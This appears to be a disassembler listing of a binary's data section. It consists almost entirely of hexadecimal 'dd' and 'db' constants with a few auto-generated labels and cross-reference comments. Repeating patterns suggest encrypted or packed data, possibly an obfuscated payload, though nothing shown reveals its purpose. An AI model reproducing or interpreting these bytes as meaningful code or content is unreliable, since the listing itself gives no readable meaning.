		dd 0E741D1DEh, 66891611h, 61C3215h, 662238FDh, 0FBB12115h
		dd 1F8C06ABh, 3446ADE0h, 0E7446B4Dh, 7A36FD7h, 4F71B79Ch
		dd 0E44B3407h, 66223212h, 8B568975h, 67E94B68h,	745ACB90h
		dd 6AA13D13h, 69113215h, 66883494h, 66CE3D15h, 0A1223215h
		dd 74334B90h, 66883213h, 664EDB15h, 0B1F73215h,	384F32D9h
		dd 36A9B8B9h, 664CB31Ah, 0E52D3215h, 66113217h,	26E25375h
		dd 664439FCh, 0D0466C15h, 0B6A3D78Dh, 0AA0D63A1h, 6654327Dh
		dd 33DECE15h, 0A390D79Ch, 66883211h, 0E140DF96h, 0EF7E1639h
		dd 711619h, 0ED1A35ABh,	662E53EEh, 6623B11Ah, 6ED3215h
		dd 694FB973h, 66443190h, 979D3D15h, 0DB84CD74h,	8F8E2037h
		dd 66443212h, 0E542F871h, 996EEF6Dh, 74BC9F80h,	67C53D13h
		dd 9F223215h, 6858B79Ch, 9E743407h, 7F85B79Ch, 75CB3407h
		dd 0F0113215h, 8007F163h, 0F91F3C83h, 98930A3Dh, 8E63B8CAh
		dd 0E587802Ah, 66443214h, 422EB9E9h, 0E7F2BB46h, 668836D6h
		dd 6287B115h, 3A062E92h, 66113BFCh, 0ADA3AD15h,	688E6044h
		dd 0D3DD8552h, 60032BD4h, 833DCDE9h, 69422038h,	66223D9Fh
		dd 661BDB15h, 0C9613215h, 83D85F25h, 48FEB55Bh,	0E7F3BB47h
		dd 668836D7h, 62AEB115h, 3A062692h, 8F350E9Ch, 66883210h
		dd 11EC3003h, 397CD99h,	9E172037h, 0D773B798h, 624340Dh
		dd 0A9E08A73h, 7D38D1Ah, 668AB41Ah, 40F63215h, 6F2CD74h
		dd 0E75AF295h, 241EDCDDh, 0EB45532Ah, 6030106Ch, 661FDB75h
		dd 1BA33215h, 998EFF8Eh, 809F8FFFh, 0A2ADB0C1h,	0DFF6C394h
		dd 0ED255B7Bh, 743BF3A8h, 661FDB13h, 6B4E3215h,	4B009DE8h
		dd 0A48D395Ah, 9C62B6A9h, 4B6D879Eh, 8FBD3407h,	66223210h
		dd 94FBE0AEh, 62CC122h,	0DA95B373h, 4F448CCEh, 6970113Fh
		dd 66883596h, 67C33D15h, 9E223215h, 49BC879Eh, 0CB7D3407h
		dd 6643BA1Ah, 0E12D3215h, 66113214h, 663062ECh,	35443215h
		dd 99DDCEAEh, 0EFE233EAh, 93D06916h, 6941F2D4h,	6622279Ah
		dd 6FF85215h, 63883215h, 4D38EDB5h, 0CD593C63h,	969461AAh
		dd 0DFD9537Dh, 1317078Ch, 1E2EC394h, 0C21418BEh, 67A2ED05h
		dd 76E01FDDh, 67B18CAh,	0F43DF394h, 86086F8Dh, 0E34753E0h
		dd 60303A80h, 66113CFCh, 0F7612D15h, 0C5CE549Ch, 0B991362h
		dd 0EDF0E290h, 7491F398h, 0D4BC5213h, 0E02D53EBh, 66113214h
		dd 663260E0h, 0E7443215h, 310302FFh, 0E7D33348h, 31A902D7h
		dd 3C4EBB48h, 66223BFCh, 384EA215h, 6A8AE076h, 77AD611Dh
		dd 15223215h, 0B2DEC0C7h, 571B5CB0h, 77910583h,	488ED086h
		dd 67973DB8h, 9F883215h, 66448946h, 38AB3215h, 420DB9E9h
		dd 668CF694h, 6DAD3215h, 80223215h, 3517FF8Ah, 0F58B1A65h
		dd 0D3CD0061h, 60301DB8h, 99E9B1EDh, 6646B71Ah,	0DE243215h
		dd 1D56FF67h, 0BB2FB374h, 6955EFC8h, 66448990h,	6630DB15h
		dd 96B23215h, 0AA22BF9Fh, 0AFA0FF70h, 87E33DDEh, 0D0541085h
		dd 4ED48B44h, 97C52D3Bh, 62460828h, 4205C544h, 0AF097B4Ch
		dd 73DF2C6Eh, 99DDDB94h, 6898C7AAh, 680F3D4Ch, 6443215h
		dd 6622BD1Ah, 0EC1E3215h, 66883215h, 0B2CCA74h,	0EF22325Ah
		dd 62AA1609h, 67883215h, 692469CBh, 9A43C3A2h, 49BC879Ch
		dd 0EDE83407h, 72786E5h, 663CB11Ah, 0ED1E3215h,	6688320Dh
		dd 664421FCh, 75158615h, 0FC5D89AFh, 5CD074DEh,	1F5AC831h
		dd 0CEEBB1EAh, 99C5ACFCh, 7B023DEAh, 69443215h,	66222594h
		dd 6603DB15h, 7A453215h, 6F7E0Fh, 73E9ADA1h, 4F5A206h
		dd 301A66EDh, 9E47F2D4h, 6EB7B716h, 76F83407h, 99883215h
		dd 72362C70h, 87DCC960h, 0CC6035A2h, 694F47ADh,	6644339Dh
		dd 0DBA1CE15h, 600336ECh, 890C3D14h, 6443216h, 0D92DE49Eh
		dd 589053DCh, 0CC2298BFh, 66A2B71Ah, 74CB3215h,	2B113215h
		dd 770F7BAEh, 616D9558h, 0C7208B56h, 8E003ABFh,	0DFD961C1h
		dd 3FD075A5h, 25E2F394h, 0BFE67478h, 918AD3D4h,	2385B3C4h
		dd 0EF5DCBC7h, 0B8106BDEh
		dd 669ADB4Eh, 6ED03215h, 897852BEh, 0B11DEDA5h,	5605BAA8h
		dd 5C6576Eh, 66228F40h,	0E7443215h, 5BA41611h, 20CB7AA6h
		dd 9A4CB3E9h, 2EA20F39h, 610A3D48h, 6443215h, 0ED446A42h
		dd 314153D2h, 0E5AC369Eh, 8F1B36D1h, 6622321Ah,	7B49DDA7h
		dd 4A649DC0h, 5E5452D4h, 0E7B0C45Ch, 661136F9h,	4294BB15h
		dd 9ECCDBA2h, 75A23D4Eh, 6113215h, 66883EFCh, 0A890F015h
		dd 0D18178A2h, 0FC17F01Ch, 0E9875338h, 66443204h, 66223EFCh
		dd 0C8FA5515h, 0E8967B85h, 0E5897894h, 6666DB82h, 6713215h
		dd 9998D73h, 5B2CB0AFh,	0A09C5307h, 709CD2Ah, 62036545h
		dd 6280B331h, 39223215h, 70A760ECh, 0E651D495h,	96CC1AFBh
		dd 0E506269Eh, 69F836D1h, 0E6883215h, 0B34CFC4Ah, 74A100F9h
		dd 0B1F70CB9h, 39E09032h, 0EF44322Ah, 0E92D1611h, 6611320Dh
		dd 6684DB75h, 0D6883215h, 4659FFA7h, 0F68DD0F6h, 88338A82h
		dd 7783685h, 64AE3D75h,	34113215h, 0DB0B534Ah, 6056379Ch
		dd 1DA63D14h, 93113214h, 318104ADh, 6EA4F332h, 6764D418h
		dd 15AF6468h, 4FA1936Eh, 18416CE5h, 5362E231h, 769B76BAh
		dd 2B2D9010h, 6AC33D6Ch, 69223215h, 66113492h, 660E3D15h
		dd 0E5443215h, 7F56E6A8h, 0E21E3213h, 66883271h, 21018D75h
		dd 0EB430FFEh, 7ED98588h, 6699DB13h, 0E98A3215h, 529E602Eh
		dd 3DE9DD47h, 0CE387044h, 69C5D180h, 66223891h,	0E7775215h
		dd 0E802E6h, 9925EA9Eh,	6630DBC6h, 0A87A3215h, 9ACC749h
		dd 9CB90F8h, 363F477Bh,	5F364633h, 668821FCh, 22A04015h
		dd 0B27F3C55h, 7434F866h, 3E4DF07Bh, 296C6EE6h,	69B20D95h
		dd 66116291h, 6698DB15h, 2C303215h, 9C568957h, 5843CFDBh
		dd 0DA906BD9h, 0DC16DCAFh, 66223210h, 74E4F594h, 0B1894655h
		dd 74B1DD94h, 8F784655h, 66113213h, 615B1E23h, 0FDADE148h
		dd 6223214h, 8F0AEF95h,	66883219h, 4152BD66h, 5344B82Eh
		dd 703EC429h, 3670B174h, 6634B01Ah, 37D73215h, 93915BA0h
		dd 237DB2D5h, 8E4496A5h, 6633DB4Ch, 18E83215h, 0B08DE894h
		dd 12F1161Eh, 0A0D16819h, 0CCFD53F2h, 428CB9EDh, 0E7A1BB40h
		dd 662236D0h, 62D4B315h, 0E1883215h, 69181639h,	66223A90h
		dd 64943D15h, 6883215h,	69EECA74h, 66222291h, 6FF85215h
		dd 0D2883215h, 0C8885770h, 0D74F1D26h
		db 74h
byte_5C3A41	db 0DBh, 8Ah		; DATA XREF: ___:off_437FB8o
byte_5C3A43	db 66h			; DATA XREF: ___:off_43A0E8o
dword_5C3A44	dd 0E83215h, 0D6602DABh, 62A95385h, 87986331h, 668CF394h
					; DATA XREF: ___:off_43A0E0o
		dd 0A7C73215h, 422EB511h
		db 49h,	0CBh, 0BBh
		db 6
		dd 668837FCh, 98AC9915h, 0EC2D06A5h, 66113217h,	0E6E96A45h
		dd 69ADCD6Ah, 66225290h, 0DB92CA15h, 609146C1h,	4FC03D15h
		dd 9A223215h, 0A140AF98h, 0E487340Dh, 66443211h, 7DAC775h
		dd 77F8E1EAh, 0CB883215h, 5EA4C28Ch, 0F6882BACh, 0ADDDC2E0h
		dd 0A5B817B5h, 66408847h, 8CA33215h, 37DA3D8Eh,	0A409C814h
		dd 378F3D8Eh, 8F78309Dh, 66113218h, 0BB719F39h,	1E45FCE3h
		dd 7DF538AEh, 0A794B99Ch, 8F8E200Ch, 6644321Ah,	45786EF0h
		dd 0D350304h, 0E7B8E192h, 4B555E81h, 6EC04E4Eh,	0D902B838h
		dd 63701B79h, 0AFB219Fh, 845E6910h, 661CDB1Dh, 4DD83215h
		dd 0B2D1C9EFh, 9270F19Eh, 353C31D7h, 668836AEh,	71161F15h
		dd 0BE0B403Bh, 48066010h, 8FE86967h, 66443218h,	3F7157A7h
		dd 3F787B00h, 51497F46h, 7EE8483h, 0DD7552BEh, 72080205h
		dd 0FE31544Ah, 69E953CEh, 66223391h, 0D946CB15h, 66883215h
		dd 0EDB84C9Ch, 0A2A11629h, 7C963D11h, 6883215h,	76ACE19Eh
		dd 0EC223215h, 4E318883h, 0AB2C6046h, 8EC982B8h, 3D75F055h
		dd 9CD5DB74h, 36E8CDEAh, 6654DA4Ah, 1C4D3215h, 0CC7F786Dh
		dd 95B0483Ah, 974175A9h, 778C69Fh, 49BC879Ch, 68613407h
		dd 6F443215h, 433E34F9h, 0DA160E61h, 429D508Eh,	86CD621Ah
		dd 66223610h, 66151F15h, 620F3215h, 72CD6E31h, 0B7A95231h
		dd 661EDB75h, 28C63215h, 2C2840Fh, 0A08EE84Bh, 3B2805BFh
		dd 66063D70h, 7443215h,	0E6225A74h, 8E713215h, 66883218h
		dd 0B645C493h, 100ADFF8h, 45579688h, 660B3DC8h,	3F443215h
		dd 6225874h, 6617B91Ah,	0E9873215h, 66443215h, 7F1B973h
		dd 79C087EAh, 72613407h, 0AE443215h, 0A25B6723h, 0A43C7B64h
		dd 70253157h, 0AA93E760h, 997C6C15h, 743EDF80h,	6E003D13h
		dd 69443215h, 6622309Ah, 0ED705215h, 0EFDD1601h, 6281B3F0h
		dd 0E5223215h, 4A9636D0h, 0E0876E31h, 66443218h, 0B8A35475h
		dd 0E01EA2CAh, 66883215h, 1FC9B974h, 8F24200Ch,	66113204h
		dd 0CAAD36F5h, 0E9E5936Eh, 0A1486C61h, 0F5905BD4h, 80E06587h
		dd 0ED06544Dh, 0A2A31629h, 66113211h, 3E6EC594h, 5FCD7073h
		dd 67AD3D4Ah, 9A113215h, 668C8D42h, 8FC53215h, 5D6B5236h
		dd 0A790CB14h, 5DC15236h, 67CD3D4Ah, 93223215h,	7F68BF9Ch
		dd 6D613407h, 6443215h,	0C0453E1Ah, 0E0864C82h,	3061F79Eh
		dd 69BBCDD2h, 66222592h, 6603DB15h, 0E3C03215h,	22CA5998h
		dd 34BBAD47h, 0CB4FF3D7h, 0DD7FF416h, 666F0EFCh, 6EA63D15h
		dd 69113215h, 66883092h, 6255215h, 662226FCh, 4961A215h
		dd 9B4EEBB5h, 201C408Fh, 842E2E0Ah, 98D5424Ah, 1F05B961h
		dd 642200Ch, 63CAC29Eh,	0D0113215h, 0D33C1689h,	6644B71Ah
		dd 7793215h, 0ED20CDEDh, 0A2091619h, 66443211h,	0B8A95475h
		dd 733DB95h, 1258BF9Ch,	69AD340Ch, 4F223215h, 11CDCC49h
		dd 0BB6DB725h, 8507635Fh, 5EA35E42h, 2A55665Bh,	66F1B71Ah
		dd 0E84B3215h, 6622321Fh, 661137FCh, 4E2B6715h,	0E722CBC9h
		dd 486E366Dh, 664CB71Ah, 0E4873215h, 66443214h,	67A03DECh
		dd 9E113215h, 668CDE94h, 62CD3215h, 420EB331h, 476E4B85h
		dd 0F64EB34Bh, 9E654D6Ch, 0BEC4B375h, 7071BE7h,	60326044h
		dd 0EF443215h, 0A82368C4h, 69973D4Ch, 8F883215h, 6644321Fh
		dd 70CBB891h, 0DCE17DCh, 0E30329A5h, 605612E4h,	62FDDBECh
		dd 34E93215h, 0B0016845h, 0D922524Fh, 0D944076Ah, 3770E87Bh
		dd 0AC01F39Ch, 0E5603E9Eh, 60CB36D1h, 0FD113215h, 868FF2E4h
		dd 8F8D03FCh, 6622321Eh, 465B10CAh, 0A2EDDF0Dh,	8FEFB048h
		dd 6622321Eh, 49F1AF8Fh, 4939D9C5h, 0CA08FC4Eh,	66223EFCh
		dd 5D11F15h, 0F7242919h, 0DDAA8DC3h, 69220EC5h,	66104A91h
		dd 6698DB15h, 93F23215h, 7B3B6053h, 0FEEF3239h,	5A4E5488h
		dd 24CF6Ch, 695B05AEh, 66113497h, 660D3D15h, 7443215h
		dd 0E22D1F29h, 99EECDA2h, 0B8095275h, 2B504585h, 77CB53ECh
		dd 0CF113215h, 15A98D1Ah, 71811914h, 557DE53h, 254E1966h
		dd 69A60E74h, 66448C91h, 6BA43D15h, 6113215h, 0D8301EAFh
		dd 66C33D68h, 7223215h,	0E41E0229h, 6688368Dh, 697D0EE0h
		dd 99DD5893h, 6D923DEAh, 8F883215h, 66443213h, 29BC88D9h
		dd 272D98E7h, 62FEB01Ah, 69B13215h, 66223393h, 3C2DCE15h
		dd 99C9B41Ah, 6DADCDEAh, 1E223215h, 0A6D3F973h,	0FE6B04FBh
		dd 3978545Dh, 990BB61Ah, 0E71ECDEAh, 66883207h,	66443FFCh
		dd 51396715h, 6A563FD5h, 0ED40484Ah, 7780222h, 620CB01Ah
		dd 75F83215h, 0CF883215h, 931B7FCCh, 38B797B0h,	0A890184Ch
		dd 1734D78Fh, 1C786CE4h, 98CBB41Ah, 8FE4CDEAh, 6688361Dh
		dd 66443CFCh, 8699EC15h, 9E919F08h, 0AC973677h,	36105E3Ch
		dd 662233ADh, 3ED33315h, 93C58875h, 0E7221099h,	7B441F6h
		dd 0E21EC02Ch, 668831CDh, 66443EFCh, 91DF1715h,	0B9845E8Dh
		dd 9D602C4Eh, 0A6C7A0B6h, 9AD7A0EAh, 66108F40h,	8F893215h
		dd 6648DB48h, 21DB3215h, 12A971EDh, 568EAAD4h, 1AADA0EFh
		dd 6DDCDEBh, 6610B71Ah,	713215h, 0A9C7FC94h, 69EBB774h
		dd 6612B991h, 63023D15h, 6443215h, 7E98D1Ah, 949ACA75h
		dd 533DBF74h, 6422033h,	0B59D3D44h, 64993D4Fh, 6883215h
		dd 0EF145374h, 4AA362C5h, 0E642C831h, 0A7096B58h, 2BC461EFh
		dd 0DD4ACE4Dh, 0EF113203h, 6D71601h, 93255275h,	0D5715374h
		dd 0E6DACC21h, 0AD76B8FEh, 0EE3ED995h, 423EB9CDh, 8F15F696h
		dd 66883219h, 1D84E751h, 26E99E40h, 0F7632F9Ah,	9A7547BBh
		dd 0FD9BB375h, 9F24049Fh, 46F8B374h, 0E7FBBA1Fh, 0E62E7AFCh
		dd 0E7DB1B61h, 0E67B7AD4h, 4649B361h, 637BA1Fh,	95C38973h
		dd 6614BA1Ah, 0E7EE3215h, 7760CF7h, 6622327Dh, 4215B315h
		dd 35CE057Dh, 0E7603E3Ch, 514A1639h, 69486153h,	66883A93h
		dd 64C33D15h, 6223215h,	94FEB374h, 4F94353Dh, 0D7FC62DAh
		dd 53146B28h, 4C4F2756h, 69D0F514h, 66443393h, 9113CE15h
		dd 9120CC24h, 668839FCh, 0F5DE7615h, 0B578DEA8h, 2E9AF900h
		dd 0A07196E6h, 0E6B2CD52h, 0E673CD52h, 3514CD52h, 9977CDAEh
		dd 0E6BF33EAh, 8F797E26h, 66113201h, 9B83C758h,	0AC0EDED8h
		dd 80ED8603h, 44B99543h, 8582ADB8h, 4071A798h, 0E22D3407h
		dd 66113201h, 66883DFCh, 0ED4D2C15h, 75768F3h, 5D02D427h
		dd 0A95C7B83h, 6EC5B79Eh, 0EE2D3407h, 66113214h, 0A60DCAE9h
		dd 663CB71Ah, 0A0DE3215h, 74394390h, 75617513h,	0A1443215h
		dd 542E7E60h, 0A2317476h, 6EB8D63Bh, 0C4776102h, 0B44A7170h
		dd 6C5A8B2h, 99D98D73h,	66443AFDh, 0FBE9B515h, 6D7C0BB2h
		dd 66093D80h, 38443215h, 8F97CD74h, 69172025h, 6688359Ah
		dd 67CE3D15h, 9A223215h, 1924B798h, 0EC873400h,	66443202h
		dd 662220FCh, 0FC3BEA15h, 4B7EA82Ch, 0E072B92Ch, 88B93AF1h
		dd 99B0778Ah, 8A0BCAC5h, 4250BB11h, 66223AFCh, 87DAA915h
		dd 0E91CC86Fh, 694CD34h, 0AF9D3DE0h, 69D1B774h,	6688CA90h
		dd 0E3CFCE15h, 603012D4h, 661122FCh, 0E1526915h, 0DC5EC8FDh
		dd 8E15E1C9h, 0B9F3BEDFh, 6948B75Bh, 66449690h,	74AF3D15h
		dd 69113215h, 66883E9Dh, 6643DB15h, 0A0183215h,	0CEEDE78Dh
		dd 170DF4B4h, 2A42203Dh, 6634BB1Ah, 0E01E3215h,	66883205h
		dd 664439FCh, 968F3F15h, 0E89B4101h, 0D4D40F60h, 0BC58DB7Dh
		dd 662ADBCCh, 2CCD3215h
		dd 0C0FD734Fh, 0D3BB7CA0h, 603002FCh, 66113AFCh, 79025815h
		dd 0E4713665h, 53A7BF06h, 617276Ah, 0A321E194h,	69242992h
		dd 6622329Eh, 9E9A5415h, 0B6775374h, 66443CFCh,	0A7B26415h
		dd 0DE103C09h, 85F53107h, 8F9A793Ch, 66223204h,	0A27AC160h
		dd 0B92F619Eh, 0C4EC1568h, 38992E69h, 5BA55A72h, 72013215h
		dd 0B6BBCB31h, 39D76575h, 0E13B9BABh, 0E85309h,	696D23AFh
		dd 66223292h, 0A6945315h, 668FB71Ah, 8FB13215h,	66223285h
		dd 0B694BBE9h, 68E2B61h, 6EADEC9Eh, 0A3223215h,	945D815Ah
		dd 7B7E6ECh, 0E7A3BB42h, 662236D2h, 62FEB315h, 0E1883215h
		dd 0EF181629h, 0EDB1611h, 66114D03h, 8FAC069Ch,	66443218h
		dd 0E5A16BACh, 63479638h, 73BE04Fh, 0BAC1BF95h,	69242764h
		dd 6611269Dh, 6687DB15h, 0E9323215h, 799D7E6h, 0A4D9296Dh
		dd 8C7ABD9Ah, 9394CD87h, 0E32DF21Eh, 66113202h,	600F3D75h
		dd 0E7443215h, 0C23F54CBh, 0F5E7B25Ah, 668EDB74h, 0EFB83215h
		dd 933E1651h, 6605DB74h, 42E93215h, 72A7A0CEh, 413B1E31h
		dd 0C56DA5D1h, 11062E54h, 6870037h, 643F19Fh, 661138FCh
		dd 5B838715h, 6B0AF997h, 6989F9E0h, 6611219Ah, 6686DB15h
		dd 0A50A3215h, 91AAD572h, 153D6428h, 0E2142437h, 1294BF9Eh
		dd 0E52D340Ch, 6611321Ch, 0D06375h, 6E64D194h, 81AB6574h
		dd 6615F594h, 890B3215h, 4278B511h, 4226BB49h, 6CF8C775h
		dd 39883215h, 49CBE8h, 50E288A3h, 37435348h, 11AC1E94h
		dd 3C1DC33Eh, 4D55F094h, 0B6986BE4h, 750E3D4Fh,	8F443215h
		dd 6622321Bh, 66F793B3h, 14D4CFFDh, 0B0BCF6AFh,	0DC7080D5h
		dd 66113229h, 648BF014h, 0E760269Eh, 662236D1h,	639C3D15h
		dd 6883215h, 72552E9h, 66AA82EAh, 729A3215h, 624CB131h
		dd 2452E9h, 0FEAFD894h,	309EF094h, 0E96C50h, 962E994h
		dd 6FB7BB74h, 8F172015h, 66883201h, 0CE417E09h,	7A948205h
		dd 94A0D6E0h, 0E6A08579h, 0F486EFF8h, 1ED95AECh, 52983215h
		dd 3BE8C31h, 0A0C57DB8h, 0D670A9D7h, 8F4FC214h,	66883213h
		dd 83E4B996h, 16DD631Fh, 4205B919h, 68CF696h, 66443EFCh
		dd 0D7EB0815h, 9631C0A8h, 96968154h, 0F3CD532Ah, 60300704h
		dd 649C3D75h, 0ED883215h, 6925C7EFh, 66223E92h,	609D3D15h
		dd 69883215h, 6644329Ch, 4226B915h, 0E7F6BB42h,	668836D2h
		dd 6283B315h, 0E1223215h, 64D1629h, 66883AFCh, 0FA521015h
		dd 0E36C6191h, 6618DA66h, 5643215h, 0EFFDFA8Dh,	8FC289CBh
		dd 66113205h, 826C20FEh, 0E5F03893h, 0A48EE479h, 7CC0939Eh
		dd 1277534Bh, 62CF1631h, 62E6B331h, 93113215h, 7D838847h
		dd 8C853EC0h, 0D8C8B310h, 911D793Ch, 5B4AB3C7h,	4F4369E0h
		dd 0AE0B68C5h, 26671010h, 6698DB06h, 0D2883215h, 4CD1CC68h
		dd 0A6A89336h, 0E28DF2EAh, 6EAD894Fh, 18223215h, 7EF9475Eh
		dd 5D974A30h, 74712390h, 22A03D13h, 69113215h, 66883398h
		dd 0E37FCE15h, 6030321Ch, 6620B11Ah, 0ED873215h, 66443214h
		dd 75CB53E0h, 1C113215h, 0E99BAA4h, 72558E10h, 5891D337h
		dd 5091B9B6h, 624A2108h, 664DDB15h, 5F143215h, 6837D89Bh
		dd 799CCBEh, 664439FCh,	0F6067A15h, 0CC6B03BAh,	34E1F266h
		dd 746036D2h, 354DF24Bh, 59B0DCAEh, 42D43385h, 6B86911h
		dd 0C2D4B373h, 7C9B9C0h, 62AC76D2h, 6B5475D0h, 62067694h
		dd 66113214h, 62AC7694h, 94AB8A2Fh, 6632B11Ah, 6DF83215h
		dd 0ED883215h, 96CCE40h, 0F9F83134h, 71D584h, 69EBD8ADh
		dd 6644379Eh, 89A35415h, 0E5700480h, 5A0136F9h,	66418D31h
		dd 9EAB3215h, 6617DB4Ah, 0D41B3215h, 67C7C58Bh,	0D3AFBFE0h
		dd 8F172058h, 66883204h, 1661D2E6h, 5F8D9AFFh, 845083B0h
		dd 0F59E5157h, 93A5CDACh, 0E7445275h, 6839F2h, 0E7E9EC9Eh
		dd 664436F9h, 4236BB15h, 661132AFh, 0EC7A3315h,	6DAD6817h
		dd 99223215h, 0EA6FD863h, 0DBC81B63h, 8F78F71Eh, 67BBB61Ah
		dd 0E6713215h, 0D9872EF9h, 0EE4B53D5h, 66223214h, 69F90EEDh
		dd 6689F091h, 6641DB15h, 7A183215h, 6956450Ch, 6688339Bh
		dd 6978CB15h, 6655B61Ah, 69713215h, 7661EAAAh, 62443215h
		dd 0C58A0C03h, 0E933F0D8h, 0A5EF6DFAh, 7A2BE9Bh, 0E22DFF29h
		dd 66113016h, 7E86075h,	6655DA4Eh, 0C3653215h, 714E2DEAh
		dd 51E15D35h, 0F48256BBh, 693FB8F5h, 74AC0AAh, 0E287D929h
		dd 66443052h, 6624DBEDh, 0A1F3215h, 0AF0A69A6h,	62C63D74h
		dd 6223215h, 0A570C29Fh, 7763B375h, 8F18F156h, 6622321Dh
		dd 8300DD34h, 0FBE2FEF4h, 62A8B174h, 0DF063E9Ch, 66113214h
		dd 7F02C314h, 0E94B524Ch, 66223205h, 661138FDh,	0B4A98E15h
		dd 8E3F673Dh, 3D8885BBh, 66983D75h, 8F883215h, 6644321Bh
		dd 4ADDCEA7h, 74954F7Fh, 0BFA5A462h, 725F75Ch, 904F8047h
		dd 0EAA562CFh, 9801F695h, 0E688CCD9h, 842A6EE1h, 0E6D3CC4Dh
		dd 0B5A822D7h, 67C83D4Fh, 9A223215h, 6991C995h,	99775D90h
		dd 0ED12C7EAh, 0A2A31609h, 66113211h, 668820FCh, 0E5669C15h
		dd 25E35397h, 0AD7D5406h, 8D0D4495h, 0ED97E01h,	66220EA9h
		dd 0D9350E9Ch, 66883213h, 9A1BC914h, 66205A45h,	67493215h
		dd 3E9031E5h, 17CE75h, 3F0416AFh, 67973D74h, 9F883215h
		dd 6644D6FCh, 4EAC3D15h, 6113215h, 66883FFDh, 86691515h
		dd 0B039DC4Ah, 57370544h, 8FD6D746h, 6644321Bh,	0C2B03045h
		dd 0A69A5118h, 24A26204h, 9925614Eh, 7AA93363h,	62D5B131h
		dd 0E751B975h, 0E1FE00FEh, 6FCB5326h, 77113215h, 223E5A59h
		dd 58C894AFh, 69D9C996h, 66102091h, 6699DB15h, 88B3215h
		dd 0F98FB80h, 56B2EF41h, 0E250724h, 0E54E4884h,	52AB36F9h
		dd 4225B331h, 72193DACh, 0DFB7B34Eh, 8F36A31Ah,	6611321Bh
		dd 9E3B09CBh, 5B9CC44Ah, 60C32D94h, 0DC43C4EAh,	66883214h
		dd 7C47C014h, 0E506269Eh, 0E81E36D1h, 66883219h, 6642B11Ah
		dd 0E22D3215h, 66113215h, 668D8C43h, 95453215h,	0E706069Eh
		dd 661136D1h, 0A7035215h, 664421FCh, 165C3415h,	662007B8h
		dd 0F4AF3518h, 0D1625742h, 46E3DE27h, 9823DB74h, 6970CDEAh
		dd 8F456CA3h, 66223201h, 1589F64Fh, 33E2E6DBh, 57E6F510h
		dd 545A2002h, 8FE261C2h, 69A6D996h, 99BA3991h, 6632DBEAh
		dd 91CB3215h, 0B088268Ah, 0F8112FCDh, 7EB9D025h, 0ED1E944Bh
		dd 6688320Fh, 1BCA8C75h, 68CB4D95h, 83113215h, 75ED409Ch
		dd 52FAAFB5h, 0F9D74B11h, 46F85317h, 8F883215h,	66443212h
		dd 9D3E8EEFh, 0E6201D72h, 6976336Bh, 99B98990h,	0ED2D52EAh
		dd 66113217h, 8FE95375h, 99BBCE5Eh, 535AE0h, 52983215h
		dd 77615231h, 7C443215h, 0D2441959h, 7504F98Ah,	9EEAD685h
		dd 0CD12A041h, 81AB6574h, 6615F594h, 890B3215h,	4278B511h
		dd 422EBB49h, 6619BB1Ah, 69E83215h, 0ED22ECA2h,	0E02D53DDh
		dd 6611320Bh, 6690B51Ah, 75AD3215h, 6C223215h, 222D71C9h
		dd 1637EA4Dh, 0BF2BA271h, 2244490Eh, 527946FFh,	0EF88322Eh
		dd 0EC241609h, 74265FEh, 1479534Bh, 0EF883244h,	6EAD1629h
		dd 64223215h, 0D430A66h, 5770C070h, 6CC73DD5h, 6223215h
		dd 0E61E5375h, 66883215h, 37BD9E74h, 8DAAF79Dh,	0E7353E9Eh
		dd 668836D1h, 5CF25215h, 0AECAB373h, 34775371h,	0B5A8C2A7h
		dd 4250B973h, 620F696h,	7D08D1Ah, 668839FCh, 27365F15h
		dd 0E7723CC8h, 800EA2A1h
		dd 69F8C995h, 6641DF91h, 691ECB15h, 6717B61Ah, 0E3873215h
		dd 66443219h, 6624BB1Ah, 0E51E3215h, 66883215h,	0EA4B5275h
		dd 66223215h, 6611B91Ah, 0EDE93215h, 8F7853C3h,	6CD8B61Ah
		dd 6DF83215h, 6F883215h, 0F8FA1576h, 0EA031CBEh, 5AE42516h
		dd 540C3DFEh, 644321Ah,	69C10E74h, 66129E91h, 91025215h
		dd 0BD8CB373h, 841E5330h, 76EFB61Ah, 0E5873215h, 66443214h
		dd 421EB9E0h, 63F1BB45h, 66883211h, 66443610h, 4226B515h
		dd 6D9A3D49h, 8F883215h, 66443213h, 2779FABFh, 52EE7FF1h
		dd 0A2096931h, 66443211h, 4216CDE0h, 62D5B34Ch,	93883215h
		dd 6658B51Ah, 8F423215h, 6611321Ah, 1899F410h, 0C183027Ch
		dd 561AC396h, 69533869h, 6688329Eh, 52CF5315h, 86AB6231h
		dd 66113610h, 6248B115h, 3A603692h, 6629B41Ah, 60F83215h
		dd 36883215h, 2FB2EC1Fh, 0EF2DF1E1h, 66113202h,	668820FCh
		dd 841E4715h, 58387478h, 8B78ED1h, 7CCA511Bh, 9A714DA7h
		dd 1382B7D2h, 6617340Ch, 69E83215h, 0BFC5E2AAh,	2D6DA25Eh
		dd 66A86374h, 0E7883215h, 9C0F86D4h, 0E7D33310h, 9C5A86FCh
		dd 3F91B810h, 66443DFCh, 0B8AFC415h, 0D5BBDC2h,	0EAB79028h
		dd 7EA38554h, 470C5AE0h, 6A983215h, 98298331h, 27B5B2D4h
		dd 46D1DB95h, 0E6E46BDEh, 0E387B2EEh, 99BBCD14h, 4DF2B375h
		dd 0DC473D2Bh, 4CB5750Ah, 99FF6174h, 67DDCDEAh,	0D67169CBh
		dd 6E9CB4Fh, 9A17EC9Eh,	0E3A9534Eh, 60033EA4h, 668826FCh
		dd 0C0B62115h, 0A8B5C4E1h, 58D502C5h, 5370CBDBh, 0E6D2228Bh
		dd 0B7B7B91Eh, 9A17200Bh, 0EF8CDE96h, 97CD1619h, 8F7BF99Ch
		dd 6611321Ch, 75D5F5E3h, 0CF2F540Dh, 609C6429h,	0E7113215h
		dd 568773FEh, 0E7B73327h, 562D73D6h, 76F86C27h,	0A1883215h
		dd 659B74Dh, 0C8A19C89h, 0DDC3A04Dh, 9E92DDF1h,	66468B44h
		dd 97233215h, 66118A45h, 0AE893215h, 3F1C2A16h,	0EF9A52EDh
		dd 0ED1D7EF3h, 0BEB353EFh, 6662B01Ah, 5DDE3215h, 20973DCFh
		dd 6977CDEBh, 66442594h, 77AD3D15h, 8F113215h, 66883219h
		dd 0C8D147C3h, 2B02F78Fh, 91171D5h, 3561D994h, 9D6D3C8Dh
		dd 35CB8C43h, 95103C8Dh, 0D9EE524Bh, 0ED2261CCh, 0D87453EDh
		dd 66113213h, 7CDDF194h, 956D28DDh, 7C77D994h, 694F28DDh
		dd 66883A92h, 64C13D15h, 6223215h, 6BC5474h, 668AB71Ah
		dd 0A5CF3215h, 0AF0F8973h, 8FBA5474h, 66883206h, 136652F6h
